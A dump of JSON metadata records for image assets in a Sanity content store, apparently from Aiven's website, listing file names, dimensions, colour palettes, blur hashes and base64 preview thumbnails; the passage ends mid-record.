{"_createdAt":"2024-08-21T12:11:59Z","_id":"image-d62220a0627a4fbfa2337417342d8be4661d7722-180x40-svg","_rev":"g4AdlhnoQkF9DUwGBO9hhx","_type":"sanity.imageAsset","_updatedAt":"2024-08-21T12:11:59Z","assetId":"d62220a0627a4fbfa2337417342d8be4661d7722","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D04ec*-;t7%Mxu%Mj[ofayRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.5,"height":40,"width":180},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAg0lEQVQYlU3QOQ5CMRADUDo+ywEQ0LBD9SpqShpKOAHiDJRcHRnNRyksZ+yJI2eABS64YYUhuoYnha6ZpxjVzrjRugEe+OCFLZbYVHj4iFN5wR6H4nXthTPPEnjHG88SE9hfbgOCXT0SRI+fsCDeL3COM661mFqpE7TnVuu/o6/7r/wFeeU1y4wxV1EAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":3.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":3.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-karapace-horizontal.svg","path":"images/sczeoy4w/production/d62220a0627a4fbfa2337417342d8be4661d7722-180x40.svg","sha1hash":"d62220a0627a4fbfa2337417342d8be4661d7722","size":3329,"uploadId":"tK9EdGo3Vis9i6u8InLLBCNkpxx6YLO0","url":"https://cdn.sanity.io/images/sczeoy4w/production/d62220a0627a4fbfa2337417342d8be4661d7722-180x40.svg"} {"_createdAt":"2023-03-30T17:02:24Z","_id":"image-d68b90444fc1fc6f337322dd3fbfd0dcd9b163ba-1068x141-png","_rev":"Fl2c73WgS9jO0pBHiMJCFm","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T17:02:24Z","assetId":"d68b90444fc1fc6f337322dd3fbfd0dcd9b163ba","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":7.574468085106383,"height":141,"width":1068},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAAAsTAAALEwEAmpwYAAAATUlEQVQImU3LQQ7AIAgEQP//VxsFlhWkSZte6tynuZnOKSIkq4qkHgDwExFVFZGAmwHOiGy4hvRL5iS591bVfhhjuPtaKzOr7j/D3/wAYKJy3FRUGJIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c0c4c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a0a42","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d0bec3","foreground":"#000","population":1.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0bec3","foreground":"#000","population":1.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdcec","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7d7d7d","foreground":"#fff","population":0.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea147f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-migrate-service-integrations.png","path":"images/sczeoy4w/production/d68b90444fc1fc6f337322dd3fbfd0dcd9b163ba-1068x141.png","sha1hash":"d68b90444fc1fc6f337322dd3fbfd0dcd9b163ba","size":6869,"uploadId":"mFV2Z9re55acCmoKKxHkfYImp4ULAZV7","url":"https://cdn.sanity.io/images/sczeoy4w/production/d68b90444fc1fc6f337322dd3fbfd0dcd9b163ba-1068x141.png"} {"_createdAt":"2022-06-15T20:02:10Z","_id":"image-d69923e7cf10cd7efc6d9801453754854aee7e00-752x405-png","_rev":"cEPH2uRN58AU2lp9QO82pN","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:34Z","assetId":"d69923e7cf10cd7efc6d9801453754854aee7e00","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MVP6XB?vaJD*_3L4R.xZWna#~VIVtRsAIT","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsSAAALEgHS3X78AAADPElEQVQokVXJzVMTdxjA8f0/+if01FNvrYfWHjrWoQNjneKMDAq2NtNQSkFAkLEBW9AylirMlFp0plVIGLPYVAxS7SZCXkh2E5JsdveXTfYlm5fNEmJItc4+T0duPXzme/hSUq44IUjqXZFoa4KkejPZPM0LBZrIRVrK6bQgqbRIdFrRqrRu7NEsl6G9tI/e8G/SMi/QtbzorcnsmqXE7lga9zWV5mVvjE0XwtFEPRThaqEwZ0VjuxaXEKw4x1s7sZTFcrwlSpqVyxvWI/9f1vTMVev6D7PWs0c+q5yK1CwSq1sKJ9b0zCKlaFWGyMWmIKmYFRUURBVFoiHJ6YdEoqOYMzCnmJgWdXSvPsCRkVEc6P8Kl+bnMLUdQEPOYamomWbZuEdVzed/V6qNfaNcR8Oo2RWjCmapBGa5CGalAqXKPuT0JvCFJkTTJVi5vw5j45fgXG8vDA8NgmfZY3MJCYlslvVS4zeqVjGZUrHc4NNZZMMRyO5soZJgsCSEsawrqJYamC4cYJwc4HbCwJVVH05cmsCenh483dUNF4eHwfPLAm7/sVrhtsO/U1U1HygLu43gGo235+fh1o1ZXLlxGZnlOeQ5FgWljsn8c0xK+xgL8uieX8KxwSE8e7YX2zs+gfa2NnB2HsOfHB+Z/u+63FRZSgX2YkyDuXkTp/sH4WKfA6acp8Az0weZZ35QCjooWgWK2QLs3vbCLecYXHD2Q+/n5+Hj9hPw3gcfwvtH3sHPjr6592f3Gz6qLsaeHLBP9lOLC+gZGbXd334Dj+cGIHP/GtRTm9DS0nBgiNBKRCF2+RqMHzsN5884wOlwQPfJDug8ftQ+c/xdvNL5di069BZN/ZtlNv5JbjbMpzQWfXfRerqMLZbGV+ImghJG0HbQ1uNop4OY+3EOFzp6cOrUOfy57wu84/wUlwfa8PHkSdxd/NKsPrx6j7KT/qVmfJ21OL/cyjISFkIEtQhBLUrgNTVyWJRDpLXhJeLUNIlfGCXSzDgxfp0gNfp7qRlYlF8kH0Re5COzFEhM10uBGWuJgcmX+ZDLViMu+J/oIdSiLiRbLtx66IJ1twuCXhemN1woB1//SVtjR17p3In/ABoOrUEjOk/LAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#223143","foreground":"#fff","population":2.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e1b2c","foreground":"#fff","population":1.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fce3cb","foreground":"#000","population":12.14,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6c7b3","foreground":"#000","population":2.22,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce3cb","foreground":"#000","population":12.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#928a83","foreground":"#fff","population":8.75,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee831e","foreground":"#000","population":3.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d69923e7cf10cd7efc6d9801453754854aee7e00-752x405.png","path":"images/sczeoy4w/production/d69923e7cf10cd7efc6d9801453754854aee7e00-752x405.png","sha1hash":"d69923e7cf10cd7efc6d9801453754854aee7e00","size":171828,"uploadId":"MzP7eKRaAZft8qGc7XEoBPEJaA56Uq34","url":"https://cdn.sanity.io/images/sczeoy4w/production/d69923e7cf10cd7efc6d9801453754854aee7e00-752x405.png"} {"_createdAt":"2022-05-10T07:51:02Z","_id":"image-d69f3aace3889b0c4a454b08bc3e18ee1354e3fe-300x300-jpg","_rev":"bMt7yNl4HqyCjpAC1QS8Ex","_type":"sanity.imageAsset","_updatedAt":"2022-05-10T07:51:02Z","assetId":"d69f3aace3889b0c4a454b08bc3e18ee1354e3fe","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eZKwzv%2.TI:%L_3WBxaofIUI=bHMxs:WB%MfkoLj[f+kDaeRij[ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":300,"width":300},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcFAwb/xAAjEAABAwQCAgMBAAAAAAAAAAABAgMEAAUGESExElEHEyJh/8QAFgEBAQEAAAAAAAAAAAAAAAAABAID/8QAGREAAwEBAQAAAAAAAAAAAAAAAAECAxFB/9oADAMBAAIRAxEAPwCu5FPNttq3kFIdUQhvy68j1Xg7XkN4t2YRLfdZjcqPL2naRrwV6rf+Qbg1DRAS5+9vDaE8kf3VTfMJr0bK7OPqCG2XA6pZGjrdF01avgvPJVn30uhTzSuMGaxMitvsOIcbWNhSTsUpQQgt8ukpGdLklYWtLpAC+U9+qxs6u8q6XUrklAKBwEDQpSs3KdItNqTRw/IbjDtBYYe02lxWgRvXVKUqyD//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5f4532","foreground":"#fff","population":3.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f230f","foreground":"#fff","population":2.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#906d51","foreground":"#fff","population":8.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6b9a5","foreground":"#000","population":3.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcac93","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#906d51","foreground":"#fff","population":8.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc8962","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ana_vasiliuk.jpeg","path":"images/sczeoy4w/production/d69f3aace3889b0c4a454b08bc3e18ee1354e3fe-300x300.jpg","sha1hash":"d69f3aace3889b0c4a454b08bc3e18ee1354e3fe","size":8219,"uploadId":"BnkCsJYCjAPYaRVBVYPSmH999sBe98uU","url":"https://cdn.sanity.io/images/sczeoy4w/production/d69f3aace3889b0c4a454b08bc3e18ee1354e3fe-300x300.jpg"} {"_createdAt":"2022-06-30T20:09:10Z","_id":"image-d6a2195ddaa27308551079b0aff83a96fe64f490-1643x1147-png","_rev":"sI1gFaRN7B5HWmjllAAudN","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:15Z","assetId":"d6a2195ddaa27308551079b0aff83a96fe64f490","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V02~W6%MoIx]j[S1aLxuWUaxRjofWBt7ofofa#t7WBay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4324324324324325,"height":1147,"width":1643},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB1klEQVQ4jVVT23aDMAzL87a2QO53aLud/f8PakeGtOxBB+w4kiMnKpWGlBtirvAxQxuH27QIptngOi24XCcB/6fFCGZCO2gXYEOCtl7yyvmEkCpyXYVw0Q7TYqFtgPEsDBJP2kPHBFsydIiYjcNsI3TusK1JjnXKhZ2QHVqfhPCfsguYjcdiI0wqcLXCxLTnXII5Ec7aQoVYEBOREUKCdQHGRVDIxyKke5zhU0XIFS5mEee6z+8cT6NCKii1ofUuX8YsZNeEbKKo+Nxk81hPtYMzGHUUUTxqaR1tu8uXG4idYC9kd0OAYEy8RNK7a8VhpNJFbZClIyeE9O0gkGNTwO//IpApUg7CCFXahnhqe0x8CJBwHPtMfO7avwgTlHRS3vdQ/OLdFH/6S32QDg9Ht+Ho8uXhfuSGXOkbC8puwSHEmBh+Se4giBxMqcjSEEVI2FaUtqL2VRZem08bieEzwTUeU8RzRWIjvPT0kAW1b2jrHbn2neBEOobCuLY7Wn8gl1Vy2nh5qou28uz4XFUuvH8dtfW9w5NXJBlDKXXFtn3jfv8RUj7Z623B1+Um+Py6ClSuDaVWFHqRj1dzIuNAaPy6PvD8/sXj+Yu+PaXDy23Gx+flH/4AXNhpS1LR7poAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e6434","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c233a","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#85868a","foreground":"#fff","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#97979c","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91bce8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#85868a","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2b7fd3","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d6a2195ddaa27308551079b0aff83a96fe64f490-1643x1147.png","path":"images/sczeoy4w/production/d6a2195ddaa27308551079b0aff83a96fe64f490-1643x1147.png","sha1hash":"d6a2195ddaa27308551079b0aff83a96fe64f490","size":268034,"uploadId":"BjqarFOQTl5dkSrhHXkdrXx2u6a7BfGz","url":"https://cdn.sanity.io/images/sczeoy4w/production/d6a2195ddaa27308551079b0aff83a96fe64f490-1643x1147.png"} {"_createdAt":"2022-06-15T20:02:36Z","_id":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriWzi","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:32:13Z","assetId":"d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M442=D.8jYVrWA%%%gbbM{Rj%h%Mt8Rjad","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACL0lEQVQokX2S3U8TURDFt+12P6AftEJ4MRG637ttA4ia+OILGBM0aijdbre77bYlMSJqjMEYCcS//GfubgM8+XAy997MnLlzzkja3mdqh5esP/2Sx+bzr9T3P1HvL2j25zR6GWvuBNUIUTvDHIoxomKnlNwFkne+wrK4b7/8RvftNXvvbzj4eMvh6V96727onlxz8OGW7skftl9coDoJVTNCMSKq5nhFOL8jKzszKvYUafPgHPvVJcHRd4LjH/ivf2IdX2Ec/cJ58xvj6Ir2swtkb07ZyfJCEQuy5d0Pxe/yN90cUbdDGvaIuhNRcyeseVN0f4YeZGjBHNmfU8qLi7H+B0ndHaDunKLsDFB2h1Q7IbIRUTFjSlaK5GRIK61EQTFaukKCbE2QzZjqCpIQWAiumGNkkWAnRbKbUfYXlP3lCgsq3hzZnaLYE1RrjGZG6MYQvXOG1jnLDZNEl4pVkDzUpxIsUfsL1voZtV5KLUio+RMa3piGE9K0Q1rWkJYxYMM4o2aMUMwISbYSqtYExYrzKJwShHJQkDX6KRu9mGY3phmMaXtD2s6Aln3GIzukbYVsWBE1K0a2U6SmFbLlRmwGMXV3jGpGyILcSVC9FM1L0PwUxZ/l0N0E3YnRnQm6I84JmpOiiOmEy1vWgCfdMY/3Z7SCBM0MUYzwbtcKGe5Rcab5FCI+lEhAnCXdjqm5Cev+FM1N87GFc/eLK5Y2y50UBopmIoqGD/NKTpa7/g8pQ1n9ze7S8AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#593a5b","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":37.73,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":37.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9db1d3","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4448c","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#936e54","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#db8f2c","foreground":"#000","population":0.22,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844.png","path":"images/sczeoy4w/production/d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844.png","sha1hash":"d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0","size":48867,"uploadId":"qqVXmrqnnwV2xQkw4iIzP5V2UuTZK8TU","url":"https://cdn.sanity.io/images/sczeoy4w/production/d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844.png"} {"_createdAt":"2023-12-21T15:50:54Z","_id":"image-d6c48c65457d691df1e15fc71bb5a22b367ff884-6343x2528-jpg","_rev":"Do3156plRwIXmiihO5N4fh","_type":"sanity.imageAsset","_updatedAt":"2023-12-21T15:50:54Z","assetId":"d6c48c65457d691df1e15fc71bb5a22b367ff884","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D24C0Z4_Rh-OD$?dNPRjxsM_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5090981012658227,"height":2528,"width":6343},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAIFCP/EAB4QAAICAgIDAAAAAAAAAAAAAAECAAMEEQUSISMx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgME/8QAGREAAwEBAQAAAAAAAAAAAAAAAAERAiEx/9oADAMBAAIRAxEAPwDOWJmqndVGmPzcsOP5HBpe0X4iOXGgTETU9PWVSKUfCdZo03pCDfgAxEQeClP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f3752","foreground":"#fff","population":3.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c376f","foreground":"#fff","population":3.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2f3752","foreground":"#fff","population":3.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c4b7d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#92bce6","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4a6999","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c4c7d","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"hero-aiven-live-london-opening.jpg","path":"images/sczeoy4w/production/d6c48c65457d691df1e15fc71bb5a22b367ff884-6343x2528.jpg","sha1hash":"d6c48c65457d691df1e15fc71bb5a22b367ff884","size":616426,"uploadId":"WkQ8JGUxDytHrPpUz5McaJu1wVq0DfWw","url":"https://cdn.sanity.io/images/sczeoy4w/production/d6c48c65457d691df1e15fc71bb5a22b367ff884-6343x2528.jpg"} {"_createdAt":"2024-03-26T12:58:35Z","_id":"image-d6cf5388beefa874039eeba86e77f486e4b957ca-1130x1141-jpg","_rev":"Y34ePYFQ489qDVybELrqiF","_type":"sanity.imageAsset","_updatedAt":"2024-03-26T12:58:35Z","assetId":"d6cf5388beefa874039eeba86e77f486e4b957ca","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHEV]Qo~0f$f=r4TRjNyxb%3T}s:=_NHEL4.jZ$%RjM{RkoLs:bJkX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9903593339176161,"height":1141,"width":1130},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGwABAAEFAQAAAAAAAAAAAAAAAAYCAwQFBwj/xAAhEAACAgMAAgIDAAAAAAAAAAABAgADBAUREiEGFEJhsf/EABcBAAMBAAAAAAAAAAAAAAAAAAECBAP/xAAdEQABAwUBAAAAAAAAAAAAAAAAAhESAQMEEzFB/9oADAMBAAIRAxEAPwCCnGcuta88mPBN9vfhi6rTffXZNdbweVJTnJb1mn2Ge65FNbJUp8hYw/kknym+7Za9sDFtqfJ8QbF/L1+pRe2TRHgmPqguffDmKr69mJXlY2VhXGnJodLB75yJQxMejMCmumumitAKlQADkxs7X4qbNMhaUFxUgsB7IiI9DIjO4qrfOcvWjEADpERELAc//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34475d","foreground":"#fff","population":9.67,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#122c45","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#34475d","foreground":"#fff","population":9.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9bb5ce","foreground":"#000","population":9.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ebce4","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#64819f","foreground":"#fff","population":1.65,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b1544e","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"My photo - Diogo PASSADOURO.jpg","path":"images/sczeoy4w/production/d6cf5388beefa874039eeba86e77f486e4b957ca-1130x1141.jpg","sha1hash":"d6cf5388beefa874039eeba86e77f486e4b957ca","size":260433,"uploadId":"vra8FyZUQ1zxERj3gfuQXY4ZPkVKhOad","url":"https://cdn.sanity.io/images/sczeoy4w/production/d6cf5388beefa874039eeba86e77f486e4b957ca-1130x1141.jpg"} {"_createdAt":"2022-06-16T22:54:03Z","_id":"image-d6d964afe3c7a375502d4750c4d5836523b5cf28-99x26-png","_rev":"0HOthdQkSgJdYc0C9vxX6b","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:03Z","assetId":"d6d964afe3c7a375502d4750c4d5836523b5cf28","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D2D]o8~q00M{9F00D%ofoft7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.8076923076923075,"height":26,"width":99},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABPklEQVQYlS2QS0tDMRCF70KxpSKo1KLgos1kJm/vI2lybaVaCwWFKihIKbhQEKELV/5/iXRxFmfgfDNnipTSfgih570/8t4fhhA6bdt2J5NJL4TQdc71sp/P5wd51rZtJ8a4p5TqI2IphNDOObDWqvF4fFYYY4iIbgHgEQAWUsqotb4WQiyIaAYAM2NM9N43Wus55zwR0SUi1gCwAoAHIrpDxGVVVa5QSs2I6JVz/o6Iaynlhoi+AOCXiLaI+Ka1firLck1EP8Ph8AMRw27Z8w56zznPwHFhra2tta0xZpqVw5zzTwDYaq03Usp84Y1z7oVz/j0ajdZKqVyrYYytGGNLxtgVEdXee1XEGPsxxkFK6V9VVY2EELleDCHIpmkuvPfndV1TfodSyqaUjrXWAwBoAEBJKU/KsuxPp9PTP8SvSCi/pVZCAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f3f3f","foreground":"#fff","population":4.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3f3f3f","foreground":"#fff","population":4.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cluster_partners_maria01.png","path":"images/sczeoy4w/production/d6d964afe3c7a375502d4750c4d5836523b5cf28-99x26.png","sha1hash":"d6d964afe3c7a375502d4750c4d5836523b5cf28","size":3037,"uploadId":"dGDxqq2VI2aLzJSL54CItUsZHGdNXJq6","url":"https://cdn.sanity.io/images/sczeoy4w/production/d6d964afe3c7a375502d4750c4d5836523b5cf28-99x26.png"} {"_createdAt":"2022-12-14T10:52:07Z","_id":"image-d6dcbcc86890b9ef9e8c851d2ece696439cf1923-2000x1500-jpg","_rev":"3re4XGUaXqpLG8nUT41Xuy","_type":"sanity.imageAsset","_updatedAt":"2022-12-14T10:52:51Z","altText":"Picture of Ben Greenberg speaking","assetId":"d6dcbcc86890b9ef9e8c851d2ece696439cf1923","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":1500,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQGAQP/xAAkEAABAwQBBAMBAAAAAAAAAAACAQMEAAUGESEHEhMiFDFBUf/EABYBAQEBAAAAAAAAAAAAAAAAAAEAAv/EABkRAAMAAwAAAAAAAAAAAAAAAAABERIhMf/aAAwDAQACEQMRAD8AVcsF1lS7ebjwRu0l92l336/VSsuODQfm3C4TpwE4wPlcZXSJvXG0qbfzsYQsvW4niMO8lEuE5Wmum17O+ZNcJMwycSWGlA039f2s5KvRdiRXYB0xx3JsYjXW4eQJD5EpC2uhTS8aSiucPOrZYQcgPo+JtuEumx9URVooqCH/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#403c32","foreground":"#fff","population":4.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#233f61","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#403c32